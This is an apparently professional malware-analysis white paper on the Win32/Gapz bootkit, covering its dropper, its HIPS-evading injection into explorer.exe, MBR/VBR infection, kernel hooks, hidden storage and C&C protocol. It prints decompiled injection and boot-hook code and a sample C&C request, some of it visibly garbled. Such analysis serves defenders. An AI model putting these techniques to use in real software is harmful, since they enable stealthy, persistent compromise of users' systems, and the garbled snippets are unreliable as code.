WHITE PAPER
MIND THE GAPZ: THE MOST COMPLEX BOOTKIT EVER ANALYZED?

Eugene Rodionov
Malware Researcher

Aleksandr Matrosov
Security Intelligence Team Lead

SPRING 2013
# Table of Contents

**Introduction** ......................................................................................................................... 2  
**Dropper** ................................................................................................................................. 3  
  - PowerLoader builder ............................................................................................................ 4  
  - Code injection technique for bypassing HIPS ........................................................................ 6  
**Bootkit** ......................................................................................................................................... 13  
  - MBR infector .......................................................................................................................... 14  
  - VBR infector .......................................................................................................................... 18  
**Kernel-mode code** ................................................................................................................. 20  
**Architecture** ............................................................................................................................. 20  
  - Hidden File System Implementation ................................................................................. 22  
  - Hooking functionality: disk hooks, hooking engine ............................................................ 23  
**Network protocol: NDIS, TCP/IP stack implementation, HTTP protocol** ............................. 25  
  - C&C communication protocol ............................................................................................ 26  
  - TCP/IP protocol stack implementation ............................................................................ 30  
**Payload Injection mechanism** ................................................................................................ 33  
**Payload configuration information** ...................................................................................... 33  
**Injecting payload** .................................................................................................................... 35  
  - DLL loader code ................................................................................................................... 36  
  - Command executer code ....................................................................................................... 37  
  - Exe loader code ..................................................................................................................... 37  
**User-mode payload interface** .................................................................................................. 39  
**User-Mode Payload** ............................................................................................................... 41  
  - Overlord32(64).dll ............................................................................................................... 41  
  - Checking security-related software .................................................................................... 41  
**Conclusion** .................................................................................................................................. 42  
**Resources** ................................................................................................................................... 43  
**Appendix A: SHA1 hashes for analyzed samples** ..................................................................... 44  
**Appendix B: ESET HiddenFsReader as forensic tool** ............................................................. 45  
**Appendix C: Win32/Gapz.C debug information (DropperLog.log)** ....................................... 46  
**Appendix D: Comparison of modern bootkits** ......................................................................... 51
Introduction

This report is devoted to analysis of one of the stealthiest bootkits ever seen in the wild – Win32/Gapz – and covers its technical characteristics and functionality beginning with the dropper and bootkit components up to the user-mode payload. The authors of this research have nominated Win32/Gapz as the most complex bootkit ever analyzed because in their experience it is the most interesting and complex threat utilizing bootkit functionality they have ever encountered. Every feature of its design and implementation indicates that Win32/Gapz is intended to maintain a persistent presence in the system.

The report is structured as follows. In the Dropper section the functionality of the Win32/Gapz dropper is considered. This section describes an intricate injection mechanism which allows the software to evade detection and control by HIPS systems. The Bootkit section is devoted to the malware’s bootkit functionality: that is, its use of a brand new technique to infect active partition’s VBR (Volume Boot Record). The Kernel-mode code section covers the main functionality of Win32/Gapz: custom kernel-mode TCP/IP network stack, hidden storage, payload injection mechanism and network protocol implementations. The User-mode payload section contains information on the functionality of the module that the malware injects into user-mode process address space. The rest of the report consists of appendices presenting information on:

- **SHA1 hashes** of the samples analyzed in the paper
- **HiddenFsReader tool** for dumping Win32/Gapz infection
- And a **log file** produced by the Win32/Gapz dropper.

For those who are curious why this threat is named Win32/Gapz here is the answer: the tag ‘GAPZ’ is used throughout all the binaries and shellcode for allocating memory.
Dropper

Win32/Gapz droppers first attracted our attention in December 2012, and when we started looking deeper at the threat components we found many new techniques for bypassing security software. However, the first samples of Win32/Gapz were detected as early as April 2012, incorporating MBR bootkit functionality. The modification Win32/Gapz.C has the same functionality as the VBR bootkit sample.

Table 1 – Characteristics of Win32/Gapz droppers

<table>
<thead>
<tr>
<th>Detection name</th>
<th>Compilation date</th>
<th>LPE exploits</th>
<th>Bootkit technique</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>30/10/2012</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Win32/Gapz.C</td>
<td>19/04/2012</td>
<td>CVE-2010-4398 CVE-2011-2005 COM Elevation</td>
<td>MBR</td>
</tr>
</tbody>
</table>

The first known version of the dropper was compiled at the end of April (see Table 1), but this version contains many internal debug strings and it’s possible that this version was not developed for mass distribution. It seems likely that Win32/Gapz started mass distribution at the end of summer or beginning of September. The latest versions of the dropper use three approaches to escalating privilege:

1) CVE-2011-3402 (TrueType Font Parsing Vulnerability)
2) CVE-2010-4398 (Driver Improper Interaction with Windows Kernel Vulnerability)
3) COM Elevation (UAC whitelist)

The mechanism for escalating privilege using a COM Elevation technique trick on 64-bit systems has already been described in my blog post about purple haze TDL4 modification [1].

But none of these exploitation techniques are new and patches have already been issued. The most interesting part of the dropper is its new technique for code injection into the user-mode address space.

During the infection process the dropper checks the version of the operating system in use, using the following code:
Figure 1 – Win32/Gapz dropper checks OS version

Win32/Gapz is capable of infecting the following versions of Microsoft Windows operating systems:

- x86: Windows XP SP2 and higher (except Windows Vista and Vista SP1)
- x64: Windows Vista SP2 and higher

The current version of the Win32/Gapz dropper is able to infect WinXP and Win7 including x64 versions, but on Win8 the bootkit part does not work reliably after infection and the kernel-mode code is not executed after the system has booted.

**PowerLoader builder**

PowerLoader is a special bot builder for making downloaders for other malware families, and is yet another example of specialization and modularity in malware production. The first time PowerLoader was detected was in September 2012, using the family detection name Win32/Agent.UAW. This bot builder has been used for developing Win32/Gapz droppers since October 2012. Starting from November 2012, the malware known as Win32/Redyms used PowerLoader components in its own dropper. The price for PowerLoader in the Russian cybercrime market is around $500 for one builder kit with C&C panel. (The image above is the product logo used by PowerLoader seller.)
The first version of the PowerLoader builder was compiled at the beginning of September 2012 [2]. The time stamp of the compiled file is presented here:

<table>
<thead>
<tr>
<th>Field Name</th>
<th>Data Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Machine</td>
<td>014Ch</td>
<td>i386®</td>
</tr>
<tr>
<td>Number of Sections</td>
<td>0004h</td>
<td></td>
</tr>
<tr>
<td>Time Date Stamp</td>
<td>504EF332h</td>
<td>11/09/2012 08:15:46</td>
</tr>
<tr>
<td>Pointer to Symbol Table</td>
<td>00000000h</td>
<td></td>
</tr>
<tr>
<td>Number of Symbols</td>
<td>00000000h</td>
<td></td>
</tr>
<tr>
<td>Size of Optional Header</td>
<td>00E0h</td>
<td></td>
</tr>
<tr>
<td>Characteristics</td>
<td>0102h</td>
<td></td>
</tr>
<tr>
<td>Magic</td>
<td>0108h</td>
<td>PE32</td>
</tr>
<tr>
<td>Linker Version</td>
<td>0009h</td>
<td>9.0</td>
</tr>
</tbody>
</table>

The bot identifier is based on the unique *MachineGuid* value which is stored in the system registry using random alphabetical symbols. This bot identifier is used to create a mutex and identify the system’s infection status. The same technique is used in the Win32/Gapz dropper.

```c
CHAR * cdec1 Drop::GetMachineGuid()
{
    if ( !Drop::MachineGuid )
    {
        if ( Util::GetRegistryValue( "Software\Microsoft\Cryptography", "MachineGuid", 1, &Drop::MachineGuid, 268) )
            1strncpy(&Drop::MachineGuid, "ABCOWSE",);
        1strcatn(&Drop::MachineGuid, "sacfsdfsdf");

    return &Drop::MachineGuid;
}
```

Different dropper families have different export tables after the original dropper executable is unpacked. The first version of the PowerLoader export table looks like this:
In the first version we did not recognize the code injection method used for bypassing HIPS in Gapz. But the second version of PowerLoader has special markers for the code injection method which indicate the beginning and the end of the shellcode. The export table is presented here:

This method of injecting code into explorer.exe is used in order to bypass HIPS detection, and is based on a technique for code injection into trusted processes that we will discuss in a moment.

One more interesting fact is that PowerLoader uses the open source disassembler “Hacker Disassembler Engine” (also known as HDE) for code injection operations. And the same engine is used by Win32/Gapz in one of the bootkit shellcode modules. This fact doesn’t prove that the same individual developed PowerLoader and Gapz, but it is an interesting finding.

**Code injection technique for bypassing HIPS**

The malware is installed onto the system by means of quite an elaborate dropper. Besides installing malware the dropper is also able to bypass HIPS and elevate its privileges. What makes it interesting is the detail of its implementation. If we look at what the dropper exports we will see the following picture:
There are three exported routines to which we should pay attention: start, icmnf and isyspf. Here is a brief description of them:

- **start** – the dropper’s entry point injects the dropper into explorer.exe address space
- **icmnf** – responsible for elevating privileges
- **isyspf** – performs infection of the victim’s host machine.

The following diagram depicts the sequence of their execution and the activities that they perform:

Win32/Gapz uses a non-standard technique for code injection in all known dropper versions. This approach allows it to inject code into explorer.exe address space, bypassing security software. This technique works on all current versions of Microsoft Windows operating system. Its essence is to inject a shellcode into the Explorer process that loads and executes the malicious image. Here is the sequence of steps required to achieve this outcome:
1) Open one of the shared sections from BaseNamedObjects mapped into explorer.exe address space, and write shellcode into this section

2) At this point shellcode is already written to explorer.exe address space and the next step is for the dropper to search for the window “Shell_TrayWnd”

3) The dropper calls the WinAPI function GetWindowLong() so as to get the address of the routine related to the “Shell_TrayWnd” window handler

4) At the next step the dropper calls WinAPI function SetWindowLong() to modify “Shell_TrayWnd” window-related data

5) It calls SendNotifyMessage() to trigger shellcode execution in explorer.exe address space

Here is the list of the section in BaseNamedObjects for which the malware looks for during step 1:

```c
sect_name = L"\BaseNamedObjects\ShimSharedMemory";
v7 = L"\BaseNamedObjects\windows_shell_global_counters";
v8 = L"\BaseNamedObjects\MSCIF.Shared.SFM.MIH";
v9 = L"\BaseNamedObjects\MSGIF.Shared.SFM.AMF";
v10 = L"\BaseNamedObjects\UrlzonesSM_Administrator";
i = 0;
while ( OpenSection(hSection, &sect_name[i], pBase, pRegSize) < 0 )
{
    ++i;
    if ( i >= 5 )
        return 0;
}
```

Figure 9 – Object names used in the dropper of Win32/Gapz

Once the section is opened the malware writes the shellcode to the end of it as shown below:
Figure 10 – Writing the shellcode in the end of shared memory
After `SendNotifyMessage()` is executed “Shell_TrayWnd” receives and transfers control to the address pointed to by the value previously set by `SetWindowLong()`. The address points to the `KiUserApcDispatcher()` routine:

![Figure 11 – Triggering the injected shellcode](image)

This eventually results in transferring control to the shellcode mapped into explorer process address space, as shown in the figure on the following page:
Figure 12 – Mapping Win32/Gapz dropper image into address space of explorer.exe
The shellcode creates the thread in the `explorer.exe` process context and restores the original value previously changed by the `SetWindowLong()` WinAPI function. The newly created thread runs the next part of the dropper so as to escalate privilege. After the dropper obtains sufficient privileges it attempts to infect the system.

Decompiled code of this code injection technique from a Power Builder generated dropper looks like the following code listing:

```c
if ( Exploit32::GetWorkSection(u10, &Address, u12) )
{
    u8 = PeAddr::GetProcAddress(Drop::CurrentImageBase, "InjectedShellCodeStart", 0);
    u1 = PeAddr::GetProcAddress(Drop::CurrentImageBase, "InjectedShellCodeEnd", 0) - u8;
    Dst = (Address + u12 - (u1 + 224));
    memcpy(Dst[1].swap[28], u8, u1);
    u2 = GetModuleHandle("kernel32.dll");
    Dst->address2 = PeAddr::GetProcAddress(u2, "CloseHandle", 0);
    Dst->address3 = PeAddr::GetProcAddress(u2, "MapViewOfFile", 0);
    Dst->address4 = PeAddr::GetProcAddress(u2, "OpenFileMappingA", 0);
    Dst->address5 = PeAddr::GetProcAddress(u2, "CreateThread", 0);
    u3 = GetModuleHandle("user32.dll");
    Dst->address6 = PeAddr::GetProcAddress(u3, "SetWindowLongA", 0);
    v8 = Exploit32::CreateRemoteShellCode(Dst, u1 + 224, v1);
    if ( v8 )
    {
        hWnd = FindWindow("Shell_TrayWnd", 0);
        v7 = GetWindowLongA(hWnd, 0);
        if ( hWnd )
        {
            if ( v7 )
            {
                *Dst[1].swap[28] = hWnd;
                *Dst[1].swap[16] = hWnd;
                *Dst[1].swap[12] = v7;
                *Dst[1].swap[26] = PeAddr::GetProcAddress(Drop::CurrentImageBase, "InjectNormalRoutine", 1);
                hWnd = Drop::GetMachineHandle(U11);
                lstrcpy(u8[1].swap[4], hWnd, hWnd);
                if ( Util::CreateImageSection(Dst[1], Drop::CurrentImageBase, Drop::CurrentImageSize) )
                {
                    hObject = Exploit32::CreateNotifyInjectEvent();
                    if ( hObject )
                    {
                        SetWindowLongA(u14, 0, u8 + 128);
                        SendNotifyMessage(u14, 0xF0, 0, 0);
                        if ( !WaitForSingleObject(hObject, 0x2A0) )
                        {
                            CloseHandle(hObject);
                        }
                        CloseHandle(u14);
                    }
                }
            }
        }
    }
    UnmapViewOfFile(u8FFFFFFF, Address);
    NClose(u10);
}
```

Figure 13 –Preparing shellcode for injection in Power Loader v2
This is not vulnerability in explorer.exe binary and this technique can’t be used to enable privilege escalation. This method is used only for bypassing HIPS and executing the malicious code into the trusted process address space. This technique belongs to the same class as other known methods of HIPS bypassing such as AddPrintProvider/AddPrintProvider detected for the first time in the TDL3 rootkit family[3].

**Bootkit**

This section is devoted to describing the components of the Win32\Gapz bootkit. The following diagram shows where this malware fits in with other bootkit families [11,13]:

![Bootkit Diagram](image)

Figure 14 – Modern bootkit classification

As mentioned in the “Dropper” section, so far we have only been able to find two distinct modifications of the Win32/Gapz bootkit employing different techniques for infecting the victim’s system. The earliest modification of the malware appeared at the beginning of summer 2012 and came with an MBR infector. The most recent modification of Win32/Gapz infects the VBR and was spotted at the end of autumn of 2012. You can visualize the different types of Win32/Gapz bootkits like this:
**Figure 15 – Different types of Win32/Gapz bootkits**

**MBR infector**

The bootkit installed onto the system by the earliest version of the malware consists of two parts:

- malicious MBR
- kernel-mode code and payload injected into user-mode processes.

In this case the kernel-mode code and payload were written either ahead of the very first partition or after the last partition on the hard drive. This approach is pretty similar to one used in the Rovnix [4,5,6] bootkit except that Rovnix infects the VBR.

The bootkit functionality of Win32/Gapz is quite conventional: once the code in the malicious MBR has been executed it restores the original code into memory and reads sectors from the hard drive containing the next stage bootkit code, to which it passes control. The bootkit code hooks the int 13h handler so as to monitor the loading of the following system modules to set up hooks:

- `ntldr`
- `bootmgr`
- `winload.exe`

The malware identifies them using special byte sequences. Here is the table of routines hooked in these modules:
Table 2— Hooked routines by the bootkit

<table>
<thead>
<tr>
<th>Module name</th>
<th>Hooked routine</th>
</tr>
</thead>
<tbody>
<tr>
<td>ntdr</td>
<td>BLoadBootDrivers</td>
</tr>
<tr>
<td>bootmgr</td>
<td>Archx86TransferTo32BitApplicationAsm</td>
</tr>
<tr>
<td>winload.exe</td>
<td>OsIArchTransferToKernel</td>
</tr>
<tr>
<td>ntosknl.exe</td>
<td>IoInitSystem</td>
</tr>
</tbody>
</table>

Once it detects that a particular module from those listed above is being read from the hard drive the malware patches it to allow it to gain control after the processor is switched into protected-mode. First, the bootkit sets up hooks either in ntdr or bootmgr (depending on the operating system version). If the hook is set up in bootmgr (in the case of Microsoft Vista and later operating system versions) then the bootkit additionally hooks OsIArchTransferToKernel routine in winload.exe:

```
Hook_OsiArchTransferToKernel proc Far
    pusha
    mov    edi, eax
    mov    eax, 905A40h
    mov    ecx, 500000h
    std
    repne scasb                      ; search for kernel image base address
    jecxz short loc_624             ; search for kernel image base address
    cmp    [edi+1], eax
    jnz     short loc_02E
    cld
    inc    edi
    mov    ecx, [edi+3Ch]
    add    ecx, edi                  ; ecx -> pe
    cmp    [ecx+IMAGE_NT_HEADERS.OptionalHeader.Magic], 100h
    jnz     short loc_624
    mov    ecx, [ecx+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage]
    call    $+5
    push   esi
    add    esi, 1F3h                  ; esi -> Address of the hook (c41)
    call    Get_IoInitSystem          ; obtain address of IoInitSystem
    cmp    ebx, 0                     ; ebx -> IoInitSystem
    jz      short loc_624
    call    IoInitSystem              ; hook IoInitSystem

loc_624:
    ; CODE XREF: Hook_OsiArchTransferToKernel+107j
    ; Hook_OsiArchTransferToKernel+247j ...
    cld
    popa  edx
    push   8
    push   eax
    retf

Hook_OsiArchTransferToKernel endp ; sp-analysis failed
```

Figure 16– The decompiled code of routine hooking IoInitSystem
These hooks trigger the malware when the kernel image is loaded.

The next step is to set up a hook on `IoInitSystem` which is called during operating system kernel initialization. It is hooked from either `ntldr` or `winload.exe` depending on the version of the operating system.

Then, when the hook of `IoInitSystem` has been executed the malware restores the patched bytes in the kernel image and transfers control to the original `IoInitSystem` routine. Before passing control to the original code the bootkit overwrites the return address which is stored in stacks with an address for the malicious routine to be executed after `IoInitSystem` completes. In this way the malware gains control after the kernel is initialized. At this point the bootkit may use services provided by the kernel to access hard drive, allocate memory, create threads and so on. In the screenshot below the decompiled code of the `IoInitSystem` hook is presented.

```
New_IoInitSystem proc near

var_C  - dword ptr -2Ch
var_B  - dword ptr -8
arg_0   - dword ptr 4

push [esp+arg_0]       ; return address after executing original IoInitSystem
push eax                ; address of the original IoInitSystem
pusha

loc_C78:                 ; D4A3 XREF: sub_E28+3510
    pushf
cld
mov eax, cr0
push eax
and eax, 0FFFFFFFh ; clear write protection bit to enable patching
mov cr0, eax
call $+5
pop esi
add esi, 19h
mov eax, d:[original IoInitSystem - 0E1fh][esi] ; get original IoInitSystem
mov [esp+8h-var_C], eax
mov edi, [esp+3Ah] ; edi -> return address
sub eax, edi
mov [edi-4], eax ; restore hook in kernel
lea eax, (Post_IoInitSystem - 0E1fh)[esi] ; get address of the routine which will be executed right after IoInitSystem
mov [esp+9Ah-var_8], eax ; overwrite return address
pop eax
mov cr0, eax
popf
popa
ret

New_IoInitSystem endp ; sp-analysis failed
```

Figure 17 – Hooked version of IoInitSystem routine
Next, the malware reads the rest of the bootkit code from the hard drive, creates a system thread which executes read instructions and, finally, returns control to the kernel. At this point the bootkit finishes its job since the malicious kernel-mode code is executed in kernel-mode address space. Here is the diagram depicting the workflow of the bootkit code:

![Diagram]

Int 13h handler is hooked

Hook Archx86TransferTo32BitApplicationAsm in bootmgr

Bootmgr loads winload.exe

Hook OsIArchTransferToKernel in winload.exe

Winload.exe loads kernel image

Hook IoInitSystem in kernel image

Bootkit loads malicious kernel-mode code and runs it in a new system thread

Figure 18 – The workflow of the bootkit
The kernel-mode code implements rootkit functionality, injecting the payload into processes and communicating with the C&C server. This part of the malware will be briefly described in the section “Win32/Gapz kernel-mode code”.

VBR infector

The latest modification of the Win32/Gapz bootkit infects the VBR of the active partition. What is remarkable about this technique is that only a few bytes of the original VBR are affected. This makes the threat stealthier. The essence of this approach is that Win32/Gapz modifies the “Hidden Sectors” field of the VBR while all the other data and code of the VBR and IPL remain untouched.

Let’s look at the layout of VBR for the active partition in the figure below. Here is a simplified description of the blocks of which it consists:

- VBR code responsible for loading and IPL (initial program loader)
- BIOS Parameter Block – data structure storing NTFS volume parameters
- Text Strings – strings to be displayed to a user in case an error was encountered.
- 0xAA55 – 2-byte signature of the VBR

In the case of Win32/Gapz the most interesting block for analysis is the BPB (BIOS Parameter Block) and, specifically, its “Hidden Sectors” field. The value contained within this field specifies the number of sectors preceding IPL stored on the NTFS volume, as shown below.
Thus, normally at boot-up the VBR code reads 15 sectors starting from this value and transfers control to it. And this is the procedure misused by the bootkit. It overwrites this field with the value specifying the offset in sectors to the malicious bootkit code stored on the hard drive. This is how the hard drive looks after the system has been infected by Win32/Gapz:

The next time the VBR code is executed it loads and executes bootkit code instead of the legitimate IPL. The bootkit image is written either before the very first partition or after the last partition of the hard drive. Other than that the bootkit code is essentially the same as in the MBR-based infection described above.
The main purpose of the bootkits considered above is to load and pass control to the malware’s kernel-mode module without being noticed by security software. The following part of the report will concentrate on the Win32/Gapz kernel-mode module, which constitutes its main functionality.

**Kernel-mode code**

**Architecture**

In this section the general architecture of kernel-mode module of Win32/Gapz is described. Here is the list of main components implemented in kernel-mode address space. Each of which will be considered in more detail:

- **Hidden storage**
- **Network communication module**
- **User-mode payload injection mechanism**
- **Self-defense mechanism**
- **Payload interface**

The kernel-mode module of Win32/Gapz isn’t a conventional PE image, but is composed of a set of blocks with position-independent code, each block serving a specific purpose. Each block is preceded with a header describing its size and position in the module and some constants which are used to calculate the addresses of the routines implemented within a block. Here’s the layout of the header:

```c
struct GAPZ_BASIC_BLOCK_HEADER {
    // A constant which is used to obtain addresses
    // of the routines implemented in the block
    unsigned int ProcBase;
    unsigned int Reserved[2];

    // Offset to the next block
    unsigned int NextBlockOffset;

    // Offset of the routine performing block initialization
    unsigned int BlockInitialization;

    // Offset to configuration information
    // from the end of the kernel-mode module
    // valid only for the first block
    unsigned int CfgOffset;

    // Set to zeroes
    unsigned int Reserved1[2];
};
```
The header is followed by the base-independent code where the global structure is used to hold all the necessary information: addresses of the implemented routines, pointers to allocated buffers and so on. So as to be able to access the global structure the base-independent code refers to it using the hexadecimal constant 0xBBB BBBB (for x86 module).

![Image](https://example.com/image.png)

**Figure 22 – Win32/Gapz position independent code implementation**

Thus, block initialization routine runs through the code implemented within a block and substitutes a pointer to the global structure for each occurrence of 0xBBB BBBB. Here is the table with description of the blocks in Win32/Gapz kernel-mode module:

**Table 3 – Win32/Gapz kernel-mode module blocks**

<table>
<thead>
<tr>
<th>Block #</th>
<th>Implemented functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>General API, gathering information on the hard drives, CRT string routines and etc.</td>
</tr>
<tr>
<td>2</td>
<td>Cryptographic library: RC4, MD5, SHA1, AES, BASE64 and etc.</td>
</tr>
<tr>
<td>3</td>
<td>Hooking engine, disassembler engine.</td>
</tr>
<tr>
<td>4</td>
<td>Hidden Storage implementation.</td>
</tr>
<tr>
<td>5</td>
<td>Hard disk driver hooks, self-defense.</td>
</tr>
<tr>
<td>6</td>
<td>Payload manager.</td>
</tr>
<tr>
<td>7</td>
<td>Payload injector into processes’ user-mode address space.</td>
</tr>
<tr>
<td>8</td>
<td>Network communication: Data link layer.</td>
</tr>
<tr>
<td>9</td>
<td>Network communication: Transport layer.</td>
</tr>
<tr>
<td>10</td>
<td>Network communication: Protocol layer.</td>
</tr>
<tr>
<td>11</td>
<td>Payload communication interface.</td>
</tr>
<tr>
<td>12</td>
<td>Main routine.</td>
</tr>
</tbody>
</table>
Hidden File System Implementation
To store payload and configuration information secretly Win32/Gapz implements hidden storage. The image is located at

“\??\C:\System Volume Information\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXXXX}\”

where X signifies hexadecimal numbers generated based on configuration information. As was pointed out at InResearching [7] the hidden storage’s layout is FAT32 file system. Here is an example of the content of the “\usr\overlord” directory of the hidden storage:

![Figure 23 – Contents of \usr\overlord directory of hidden storage](image)

To keep the information stored within the hidden storage secret, its content is encrypted. The malware utilizes AES with key length 256 bits in CBC (Cipher text Block Chaining) mode to encrypt/decrypt each sector of the hidden storage. As IV (Initialization Value) for CBC mode, Win32/Gapz utilizes the number of the first sector being encrypted/decrypted:
Thus, even though the same key is used to encrypt every sector of the hard drive, using different IVs for different sectors results in different cipher texts each time.

**Hooking functionality: disk hooks, hooking engine**

So as to protect itself from being removed from the system, Win32/Gapz hooks the IRP_MJ_INTERNAL_DEVICE_CONTROL and IRP_MJ_DEVICE_CONTROL handlers of the hard disk miniport driver. In the IRP_MJ_DEVICE_CONTROL hook the malware is interested only in the following requests:

- IOCTL_SCSI_PASS_THROUGH
- IOCTL_SCSI_PASS_THROUGH_DIRECT
- IOCTL_ATA_PASS_THROUGH
- IOCTL_ATA_PASS_THROUGH_DIRECT

The hook protects certain regions of sectors of the hard drive from being read or overwritten. Namely, it protects the infected VBR/MBR from being read and overwritten, and its image on the hard drive is also protected from overwriting.
Unlike other contemporary prominent rootkits/bootkits (TDL4 [10,14], Olmasco [9], Rovnix and so on) that overwrite the pointer to the handlers in the DRIVER_OBJECT structure, Win32/Gapz uses splicing: that is, it patches the handlers’ code itself. In the next figure you can see the hooked routine of scsiport.sys driver image in memory:

![Figure 25 – Win32/Gapz IRP_MJ_INTERNAL_CONTROL hook](image)

One noteworthy point raised in this figure is that Win32/Gapz doesn’t patch the routine at the very beginning (at 0xf84ce44c) as so often is the case with other malware. If we look at the code performing hooking we will see that it skips some instructions at the beginning of the routine being hooked: nop; mov edi,edi; and so on. This is possibly done in order to increase the stability and stealthiness of the kernel-mode module.

```c
for (patch_offset = code_to_patch; ; patch_offset += instr.len )
{
    (void (__stdcall *)(Int_HDF_STRUCT *))w42->procBuff_3->disasm)(patch_offset, &Instr);
    if ( (instr.len != 1 || instr.opcode != 0x99bu) 
         && (instr.len != 2 || instr.opcode != 0x98u && instr.opcode != 0x8Bu || 
             instr.modrm_rm != instr.modrm_reg ) )
        break;
}
```

![Figure 26 – Win32/Gapz hooking routine](image)

To achieve such functionality Win32/Gapz implements disassembly: namely, it uses the “Hacker Disassembler Engine” which is available for both x86 and x64 platforms. This allows the malware to obtain not only the length of the instructions but also other features. Here is the structure describing the disassembled instruction for x86 architecture used by the malware:
typedef struct _hde32s
{
    uint8_t len; // length of command
    uint8_t p_rep; // rep/repnz/.. prefix: 0xF2 or 0xF3
    uint8_t p_lock; // lock prefix 0xF0
    uint8_t p_seg; // segment prefix: 0x2E, 0x36, 0x3E, 0x26, 0x64, x65
    uint8_t p_66; // prefix 0x66
    uint8_t p_67; // prefix 0x67
    uint8_t opcode; // opcode
    uint8_t opcode2; // second opcode, if first opcode equal 0x0F
    uint8_t modrm; // ModR/M byte
    uint8_t modrm_mod; // - mod byte of ModR/M
    uint8_t modrm_reg; // - reg byte of ModR/M
    uint8_t modrm_rm; // - r/m byte of ModR/M
    uint8_t sib; // SIB byte
    uint8_t sib_scale; // - scale (ss) byte of SIB
    uint8_t sib_index; // - index byte of SIB
    uint8_t sib_base; // - base byte of SIB
    union {
        uint8_t imm8; // immediate imm8
        uint16_t imm16; // immediate imm16
        uint32_t imm32; // immediate imm32
    } imm;
    union {
        uint8_t disp8; // displacement disp8
        uint16_t disp16; // displacement disp16, if prefix 0x67 exist
        uint32_t disp32; // displacement disp32
    } disp;
    uint32_t flags; // flags
} hde32s;

Network protocol: NDIS, TCP/IP stack implementation, HTTP protocol
To be able to communicate with C&C servers Win32/Gapz employs a rather sophisticated network implementation. One of the distinguishing features of this network implementation is its stealthiness. The network subsystem is designed in such a way as to bypass personal firewalls and network traffic monitoring software running on the infected machine. These features are achieved due to custom implementation of TCP/IP stack protocols in kernel-mode.

Communication with C&C servers is performed over HTTP protocol. The malware enforces encryption to protect the confidentiality of the messages being exchanged between the bot and C&C server and to check the authenticity of the message source of the (to prevent subversion by commands from C&C servers that are not authentic). The main purpose of the protocol is to request and download the payload and report the bot status to the C&C server.

The list of URLs of C&C servers is stored within Win32/Gapz configuration information as shown below:
There is one second level domain name (SLD) and a number of third level domain name prefixes. The C&C server URL is constructed by prepending the third level prefix to the SLD. Win32/Gapz enumerates all the prefixes in the configuration information needed to reach C&C server.

**C&C communication protocol**

Here is the list of commands describing the capabilities of the malware:

- **0x00** – download payload
- **0x01** – send bot information to C&C (OS version info, )
- **0x02** – request payload download information
- **0x03** – report on running payload
- **0x04** – update payload download URL

The requests corresponding to commands 0x01, 0x02 and 0x03 are performed by the POST method of the HTTP protocol. Here is the layout of the requests corresponding to these commands:
The HTTP header is generated dynamically for each request. The algorithm for generating HTTP headers shuffles some fields of the protocol (Content-Type, Content-Length, User-Agent string, for example) in random order and so on. The message to be sent to the C&C is located in the HTTP body and starts with the header, which is structured as follows:

```c
struct MESSAGE_HEADER {
    // Output of PRNG
    unsigned char random[128];

    // a DWORD from configuration file
    unsigned int reserved;

    // A binary string which is used to authenticate C&C servers
    unsigned char auth_str[64];
};
```

The bot message header is followed with request-specific data. The following table shows request-specific data for various commands:

<table>
<thead>
<tr>
<th>Cmd #</th>
<th>Request specific data</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>OS version and language information, bitmap of running security related processes (see section “Checking security-related software”)</td>
</tr>
<tr>
<td>2</td>
<td>None</td>
</tr>
<tr>
<td>3</td>
<td>Identifiers of loaded payload modules and their status</td>
</tr>
<tr>
<td>4</td>
<td>Current payload download URL</td>
</tr>
</tbody>
</table>
The bot request is sent to the C&C server in plain text. Here is an example of the bot request:

```
POST / HTTP/1.0
Host: huyvnt.hung3lliu_strangled.net
Content-Type: multipart/form-data; boundary=G5t1H250h7nHcML07Pi
Content-Length: 598
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)

C\5t1H=50h7nHcML07Pi
Content-Disposition: form-data; name="kh\3h\U0RSAu"; filename="BjaVjTOpQd\joeZ.7z"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

HeyCGQAABBBBBB
G5t1H=50h7nHcML07Pi
```

**Figure 29 – Win32/Gapz C&C request**

To download the payload (command 0x00) the malware uses URLs obtained from the C&C server during the execution of command 0x02. Win32/Gapz requests the payload from the C&C server using the GET method of the HTTP protocol.

**C&C server reply**

As a reply the bot receives data from C&C server that has the following layout:

```
HTTP message header                      HTTP message body

HTTP Header  Encrypted rc4 key K1  Authentication string  Reply specific data
```

**Figure 30 – Win32/Gapz C&C server reply**

To protect confidentiality of the data sent from the C&C server to the bot the malware employs two-layer encryption. First, the data to be sent to the bot are prepended with an authentication string (the same string that is sent from the bot to C&C server) and the result is encrypted with a symmetric rc4 cipher using 20-byte key K1. Then the key K1 is encrypted using asymmetric encryption and prepended...
to the cipher text previously obtained, as shown above. On receiving the reply from the C&C server the bot performs the following steps:

1. Decrypts the rc4 key K1 using its private key.
2. Decrypts the authentication string and the server reply using key K1, decrypted at step 1
3. Checks that the authentication string matches one sent in the bot request
4. Processes the reply-specific data

Here is the diagram explaining the algorithm of handling the C&C server reply:

![Diagram](image)

Figure 31 – C&C reply verification algorithm

The authentication string used by the malware in the communication protocol is intended to prevent commands received from inauthentic C&C servers.
TCP/IP protocol stack implementation

The most striking feature of the network communication is the way in which it is implemented. There are two ways the malware sends a message to the C&C server: by means of the user-mode payload module (*overlord32(64).dll*), or using a custom kernel-mode TCP/IP protocol stack implementation, as shown below:

User-mode payload *overlord32(64).dll* sends the message to the C&C server using Windows socket implementation.
Custom implementation of the TCP/IP protocol stack relies on the miniport adapter driver. According to NDIS specification [8] the miniport driver is the lowest driver in the network driver stack: thus, using its interface makes it possible to bypass personal firewalls and network traffic monitoring software as shown below:

![Diagram of network subsystem](image)

**Figure 33 – Win32/Gapz custom network implementation**

The malware obtains a pointer to the structure describing the miniport adapter by manually inspecting NDIS library (ndis.sys) code. The routine responsible for handling NDIS miniport adapters is implemented in block #8 of kernel-mode module. In the next figure the architecture of the Win32/Gapz network subsystem is presented:
This approach allows the malware to use the socket interface to communicate with the C&C server without being noticed. Here is a piece of code implemented in the Win32/Gapz kernel-mode module, sending data to C&C server which demonstrates how the malware uses network sockets in kernel mode:

```c
/* Win32/Gapz network architecture */

// Block 8: NDIS miniport wrapper

